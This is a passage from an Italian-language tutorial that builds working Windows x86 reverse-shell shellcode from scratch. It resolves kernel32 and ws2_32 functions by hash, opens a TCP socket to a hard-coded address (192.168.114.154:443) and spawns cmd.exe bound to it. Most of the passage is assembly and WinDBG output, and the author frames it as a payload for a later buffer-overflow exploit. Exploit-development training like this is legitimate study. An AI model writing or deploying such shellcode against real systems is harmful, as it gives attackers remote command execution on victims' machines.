    "   mov   [ebp+0x14], eax           ;"  #   Save TerminateProcess address for later usage

    " call_winexec:  
.....

E la chiamamiamo dopo la call di WinExec:

.....
"   push esi                        ;"
"   call dword ptr [ebp+0x10]       ;"   # Call WinExec

" call_terminate_process:                    "  # 
"   xor   ecx, ecx                  ;"  #   Null ECX 
"   push  ecx                       ;"  #   uExitCode 
"   push  0xffffffff                ;"  #   hProcess 
"   call dword ptr [ebp+0x14]       ;"  #   Call TerminateProcess 

Andando a togliere il breakpoint ed eseguendola senza WinDBG vediamo che viene eseguito senza problemi.

Creazione di una reverse shell

Ora che abbiamo le basi e capito come chiamare ed eseguire le varie Win32 API tramite assembly, non ci rimane che creare una reverse shell da 0. Le funzioni che ci servono di kernel32 sono:

  1. LoadLibraryA per poter caricare l’indirizzo di un’altra DLL;
  2. CreateProcessA per eseguire il processo cmd.exe;
  3. TerminateProcess per terminare con successo.

Invece le funzioni per la connessione sono presenti in ws2_32.dll, da cui prenderemo:

  1. WSAStartup per inizializzare la socket;
  2. WSASocketA per creare la socket;
  3. WSAConnect per eseguire la connessione.

Come prima cosa andiamo a risolvere gli hash delle tre API di kernel32 e li salviamo dentro il puntatore ad EBP.

.....
" resolve_symbols_kernel32:          " 
"   push  0x78b5b983                ;"  #   TerminateProcess hash 
"   call dword ptr [ebp+0x04]       ;"  #   Call find_function 
"   mov   [ebp+0x10], eax           ;"  #   Save TerminateProcess address for later usage 

"   push  0xec0e4e8e                ;"  #   LoadLibraryA hash 
"   call dword ptr [ebp+0x04]       ;"  #   Call find_function 
"   mov   [ebp+0x14], eax           ;"  #   Save LoadLibraryA address for later  usage 

"   push  0x16b3fe72                ;"  #   CreateProcessA hash 
"   call dword ptr [ebp+0x04]       ;"  #   Call find_function 
"   mov   [ebp+0x18], eax           ;"  #   Save CreateProcessA address for later usage
.....

Poi usiamo la funzione LoadLibraryA per caricare ws2_32. Essa è definita in questo modo:

HMODULE LoadLibraryA(
    [in] LPCSTR lpLibFileName
);

Quindi basterà passare come argomento il nome della libreria per avere l’handle al modulo, che salveremo in un registro. Aggiorno il codice python

....
" load_ws2_32:                       "  # 
" int3;"
"   xor   eax, eax                  ;"  #   Null EAX 
"   mov   ax, 0x6c6c                ;"  #   ll 
"   push  eax                       ;"  #   string NULL terminator 
"   push  0x642e3233                ;"  #   d.23 
"   push  0x5f327377                ;"  #   _2sw 
"   push  esp                       ;"  #   Push ESP to have a pointer to the string 
"   call dword ptr [ebp+0x14]       ;"  #   Call LoadLibraryA 

Vediamo in WinDBG se funziona tutto:

0:004> g
(1150.2a8c): Break instruction exception - code 80000003 (first chance)
eax=75e76c90 ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=0315009f esp=0334f590 ebp=0334f79c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
0315009f cc              int     3
0:004> p
eax=75e76c90 ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500a0 esp=0334f590 ebp=0334f79c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
031500a0 31c0            xor     eax,eax
0:004> p
eax=00000000 ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500a2 esp=0334f590 ebp=0334f79c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
031500a2 66b86c6c        mov     ax,6C6Ch
0:004> p
eax=00006c6c ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500a6 esp=0334f590 ebp=0334f79c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
031500a6 50              push    eax
0:004> p
eax=00006c6c ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500a7 esp=0334f58c ebp=0334f79c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
031500a7 6833322e64      push    642E3233h
0:004> p
eax=00006c6c ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500ac esp=0334f588 ebp=0334f79c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
031500ac 687773325f      push    5F327377h
0:004> p
eax=00006c6c ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500b1 esp=0334f584 ebp=0334f79c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
031500b1 54              push    esp
0:004> p
eax=00006c6c ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500b2 esp=0334f580 ebp=0334f79c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
031500b2 ff5514          call    dword ptr [ebp+14h]  ss:0023:0334f7b0={KERNEL32!LoadLibraryAStub (75e79070)}
0:004> dd esp L1
0334f580  0334f584
0:004> da 0334f584
0334f584  "ws2_32.dll"
0:004> p
eax=75ef0000 ebx=75e50000 ecx=00000000 edx=01490000 esi=0315002f edi=01492680
eip=031500b5 esp=0334f584 ebp=0334f79c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
031500b5 31c9            xor     ecx,ecx
0:004> u 75ef0000  L5
WS2_32!NSJOB::`vftable' <PERF> (WS2_32+0x0):
75ef0000 4d              dec     ebp

Ottimo, ora abbiamo anche l’indirizzo di WS2_32! Ciò che dobbiamo fare ora è uguale alla funzione resolve_symbols_kernel32 ma con le funzioni di WS2_32:

" resolve_symbols_ws2_32:            " 
"   mov   ebx, eax                  ;"  #   Move the base address of ws2_32.dll to EBX 
"   push  0x3bfcedcb                ;"  #   WSAStartup hash 
"   call dword ptr [ebp+0x04]       ;"  #   Call find_function 
"   mov   [ebp+0x1C], eax           ;"  #   Save WSAStartup address for later usage

"   push  0xadf509d9                ;"  #   WSASocketA hash 
"   call dword ptr [ebp+0x04]       ;"  #   Call find_function 
"   mov   [ebp+0x20], eax           ;"  #   Save WSASocketA address for later usage

"   push  0xb32dba0c                ;"  #   WSAConnect hash 
"   call dword ptr [ebp+0x04]       ;"  #   Call find_function 
"   mov   [ebp+0x24], eax           ;"  #   Save WSAConnect address for later usage

In questo modo sul puntatore di EBP abbiamo tutte le funzioni salvate, in modo da poterle eseguire una ad una.

Avviamo la socket con WSAStartup, definita nel seguente modo:

int WSAStartup(
        WORD      wVersionRequired,
[out] LPWSADATA lpWSAData
);

VersionRequired useremo 0x0202, mentre dovremo pushare un registro con abbastanza spazio per ricevere la struttura LPWSADATA. Trasformandolo in codice ASM diventa

" call_wsastartup:                   "  # 
"   mov   eax, esp                  ;"  #   Move ESP to EAX 
"   mov   cx, 0x590                 ;"  #   Move 0x590 to CX 
"   sub   eax, ecx                  ;"  #   Subtract CX from EAX to avoid overwriting the structure later 
"   push  eax                       ;"  #   Push lpWSAData 
"   xor   eax, eax                  ;"  #   Null EAX 
"   mov   ax, 0x0202                ;"  #   Move version to AX 
"   push  eax                       ;"  #   Push wVersionRequired 
"   call dword ptr [ebp+0x1C]       ;"  #   Call WSAStartup 

Chiamamo WSASocketA, definita in questo modo:

SOCKET WSAAPI WSASocketA(
    [in] int                 af,
    [in] int                 type,
    [in] int                 protocol,
    [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,
    [in] GROUP               g,
    [in] DWORD               dwFlags
);

Leggendo la documentazione, useremo come af 4 perchè la vogliamo in IPv4, type 1, protocol 6 (TCP), e gli altri tre tutti a NULL perchè non ci interessano. In ASM diventa:

" call_wsasocketa:                   "  # 
"   xor   eax, eax                  ;"  #   Null EAX 
"   push  eax                       ;"  #   Push dwFlags 
"   push  eax                       ;"  #   Push g 
"   push  eax                       ;"  #   Push lpProtocolInfo 
"   mov   al, 0x06                  ;"  #   Move AL, IPPROTO_TCP 
"   push  eax                       ;"  #   Push protocol 
"   sub   al, 0x05                  ;"  #   Subtract 0x05 from AL, AL = 0x01 
"   push  eax                       ;"  #   Push type 
"   inc   eax                       ;"  #   Increase EAX, EAX = 0x02 
"   push  eax                       ;"  #   Push af 
"   call dword ptr [ebp+0x20]       ;"  #   Call WSASocketA 

Non ci rimane che WSAConnect. La definizione è la seguente:

int WSAAPI WSAConnect(
    [in]  SOCKET         s,
    [in]  const sockaddr *name,
    [in]  int            namelen,
    [in]  LPWSABUF       lpCallerData,
    [out] LPWSABUF       lpCalleeData,
    [in]  LPQOS          lpSQOS,
    [in]  LPQOS          lpGQOS
);
  1. La socket S sarà in EAX, ossia il valore di ritorno della funzione precedente;
  2. *name è una struttura sockaddr che costruiremo ad-hoc;
  3. namelen è la lunghezza in byte della struttura sockaddr;
  4. gli altri parametri possiamo passarli come NULL.

La struttura sockaddr è composta in questo modo:

struct sockaddr_in {
        short   sin_family;
        u_short sin_port;
        struct  in_addr sin_addr;
        char    sin_zero[8];
};

Dovremo quindi pushare un array di 8 (basteranno due push di un registro), l’indirizzo della reverse shell, la porta ed infine sin_family che sarà AF_INET (che vale 2)

#Struttura sockaddr 
"   xor   eax, eax                  ;"  #   Null EAX 
"   push  eax                       ;"  #   Push sin_zero[] 
"   push  eax                       ;"  #   Push sin_zero[] 
"   push  0x9a72a8c0                ;"  #   Push sin_addr (? 0n192 - ? 0n168 ? 0n114 ? 0n154) 
"   mov   ax, 0xbb01                ;"  #   Move the sin_port (443) to AX 
"   shl   eax, 0x10                 ;"  #   Left shift EAX by 0x10 bytes 
"   add   ax, 0x02                  ;"  #   Add 0x02 (AF_INET) to AX 
"   push  eax                       ;"  #   Push sin_port & sin_family 
"   push  esp                       ;"  #   Push pointer to the sockaddr_in structure 
"   pop   edi                       ;"  #   Store pointer to sockaddr_in in EDI 

Ora che abbiamo la struttura sockaddr uniamo anche gli altri valori:

" call_wsaconnect:                   "  # 
"   mov   esi, eax                  ;"  #   Move the SOCKET descriptor to ESI 
"   xor   eax, eax                  ;"  #   Null EAX 
"   push  eax                       ;"  #   Push sin_zero[] 
"   push  eax                       ;"  #   Push sin_zero[] 
"   push  0x9a72a8c0                ;"  #   Push sin_addr (? 0n192 - ? 0n168 ? 0n114 ? 0n154) 
"   mov   ax, 0xbb01                ;"  #   Move the sin_port (443) to AX 
"   shl   eax, 0x10                 ;"  #   Left shift EAX by 0x10 bytes 
"   add   ax, 0x02                  ;"  #   Add 0x02 (AF_INET) to AX 
"   push  eax                       ;"  #   Push sin_port & sin_family 
"   push  esp                       ;"  #   Push pointer to the sockaddr_in structure 
"   pop   edi                       ;"  #   Store pointer to sockaddr_in in EDI 
"   xor   eax, eax                  ;"  #   Null EAX 
"   push  eax                       ;"  #   Push lpGQOS 
"   push  eax                       ;"  #   Push lpSQOS 
"   push  eax                       ;"  #   Push lpCalleeData 
"   push  eax                       ;"  #   Push lpCalleeData 
"   add   al, 0x10                  ;"  #   Set AL to 0x10 
"   push  eax                       ;"  #   Push namelen 
"   push  edi                       ;"  #   Push *name 
"   push  esi                       ;"  #   Push s 
"   call dword ptr [ebp+0x24]       ;"  #   Call WSAConnect 

Ora la reverse socket viene eseguita, ma ci manca da eseguire cmd.exe in modo che venga creata anche una shell. Chiamiamo quindi CreateProcessA ed eseguiamo il comando cmd.exe. Esso è definito nel seguente modo:

BOOL CreateProcessA(
[in, optional]      LPCSTR                lpApplicationName,
[in, out, optional] LPSTR                 lpCommandLine,
[in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in]                BOOL                  bInheritHandles,
[in]                DWORD                 dwCreationFlags,
[in, optional]      LPVOID                lpEnvironment,
[in, optional]      LPCSTR                lpCurrentDirectory,
[in]                LPSTARTUPINFOA        lpStartupInfo,
[out]               LPPROCESS_INFORMATION lpProcessInformation
);

Quello più complesso è lpStartupInfo, poichè è una struttura e dovremo ricrearla da zero come abbiamo fatto per sockaddr. LPSTARTUPINFOA viene definita:

typedef struct _STARTUPINFOA {
DWORD  cb;
LPSTR  lpReserved;
LPSTR  lpDesktop;
LPSTR  lpTitle;
DWORD  dwX;
DWORD  dwY;
DWORD  dwXSize;
DWORD  dwYSize;
DWORD  dwXCountChars;
DWORD  dwYCountChars;
DWORD  dwFillAttribute;
DWORD  dwFlags;
WORD   wShowWindow;
WORD   cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

L’assembly della struttura sarà il seguente (la documentazione è vostra amica):

" create_startupinfoa:               "  # 
"   push  esi                       ;"  #   Push hStdError 
"   push  esi                       ;"  #   Push hStdOutput 
"   push  esi                       ;"  #   Push hStdInput 
"   xor   eax, eax                  ;"  #   Null EAX    
"   push  eax                       ;"  #   Push lpReserved2 
"   push  eax                       ;"  #   Push cbReserved2 & wShowWindow 
"   mov   al, 0x80                  ;"  #   Move 0x80 to AL 
"   xor   ecx, ecx                  ;"  #   Null ECX 
"   mov   cx, -0x80                 ;"  #   Move -0x80 to CX 
"   neg cx                          ;"  #   neg cx - this remove 00
"   add   eax, ecx                  ;"  #   Set EAX to 0x100 
"   push  eax                       ;"  #   Push dwFlags 
"   xor   eax, eax                  ;"  #   Null EAX    
"   push  eax                       ;"  #   Push dwFillAttribute 
"   push  eax                       ;"  #   Push dwYCountChars 
"   push  eax                       ;"  #   Push dwXCountChars 
"   push  eax                       ;"  #   Push dwYSize 
"   push  eax                       ;"  #   Push dwXSize 
"   push  eax                       ;"  #   Push dwY 
"   push  eax                       ;"  #   Push dwX 
"   push  eax                       ;"  #   Push lpTitle 
"   push  eax                       ;"  #   Push lpDesktop 
"   push  eax                       ;"  #   Push lpReserved 
"   mov   al, 0x44                  ;"  #   Move 0x44 to AL 
"   push  eax                       ;"  #   Push cb 
"   push  esp                       ;"  #   Push pointer to the STARTUPINFOA structure 
"   pop   edi                       ;"  #   Store pointer to STARTUPINFOA in EDI 

Poichè vogliamo che la reverse shell esegua cmd.exe, dobbiamo per prima cosa salvare la stringa in un registro

" create_cmd_string:                 "  # 
"   mov   eax, 0x657865             ;"  #   Move 0x657865 into EAX 
"   push  eax                       ;"  #   Push part of the "cmd.exe" string 
"   push  0x2e646d63                ;"  #   Push the remainder of the "cmd.exe"string 
"   push  esp                       ;"  #   Push pointer to the "cmd.exe" string 
"   pop   ebx                       ;"  #   Store pointer to the "cmd.exe" string in EBX

E successivamente fare la chiamata a CreateProcessA

" call_createprocessa:               "  # 
"   mov   eax, esp                  ;"  #   Move ESP to EAX 
"   xor   ecx, ecx                  ;"  #   Null ECX 
"   mov   cx, 0x390                 ;"  #   Move 0x390 to CX 
"   sub   eax, ecx                  ;"  #   Subtract CX from EAX to avoid overwriting the structure later 
"   push  eax                       ;"  #   Push lpProcessInformation 
"   push  edi                       ;"  #   Push lpStartupInfo 
"   xor   eax, eax                  ;"  #   Null EAX    
"   push  eax                       ;"  #   Push lpCurrentDirectory 
"   push  eax                       ;"  #   Push lpEnvironment 
"   push  eax                       ;"  #   Push dwCreationFlags 
"   inc   eax                       ;"  #   Increase EAX, EAX = 0x01 (TRUE) 
"   push  eax                       ;"  #   Push bInheritHandles 
"   dec   eax                       ;"  #   Null EAX 
"   push  eax                       ;"  #   Push lpThreadAttributes 
"   push  eax                       ;"  #   Push lpProcessAttributes 
"   push  ebx                       ;"  #   Push lpCommandLine  - cmd.exe
"   push  eax                       ;"  #   Push lpApplicationName 
"   call dword ptr [ebp+0x18]       ;"  #   Call CreateProcessA 

Mettendo i pezzi insieme (trovate qui) tutto il codice, lo eseguiamo ed ecco che abbiamo la reverse shell completa!

Conclusioni

Spero di esser stato più chiaro e conciso possibile, non è un argomento semplice da trattare ma ho cercato di dare tutte le fonti e gli approfondimenti possibili. Quando useremo questo shellcode per il buffer overflow dovremo ovviamente stare attenti ai bad char e sostituire eventuali istruzioni con altre per eliminarli del tutto.

Alcuni link utili:

  1. https://xavibel.com/2023/01/18/shellcode-windows-x86-create-administrator-user-dynamic-peb-edt/
  2. https://notes.vulndev.io/wiki/redteam/binary-exploitation/windows-shellcode
  3. https://xen0vas.github.io/Win32-Reverse-Shell-Shellcode-part-2-Locate-the-Export-Directory-Table/#
  4. https://blog.xenoscr.net/2020/02/10/Locating-Win32-API-Functions.html
  5. https://github.com/epi052/osed-scripts/blob/main/shellcoder.py
  6. https://gist.github.com/xct/96a4abb9381637a0a0f0f0471d9b4660
  7. https://samsclass.info/127/proj/ED340.htm
  8. https://www.exploit-db.com/exploits/47980
  9. https://github.com/rapid7/metasploit-framework/tree/master/external/source/shellcode/windows/x86/src/block
  10. http://www.hick.org/code/skape/papers/win32-shellcode.pdf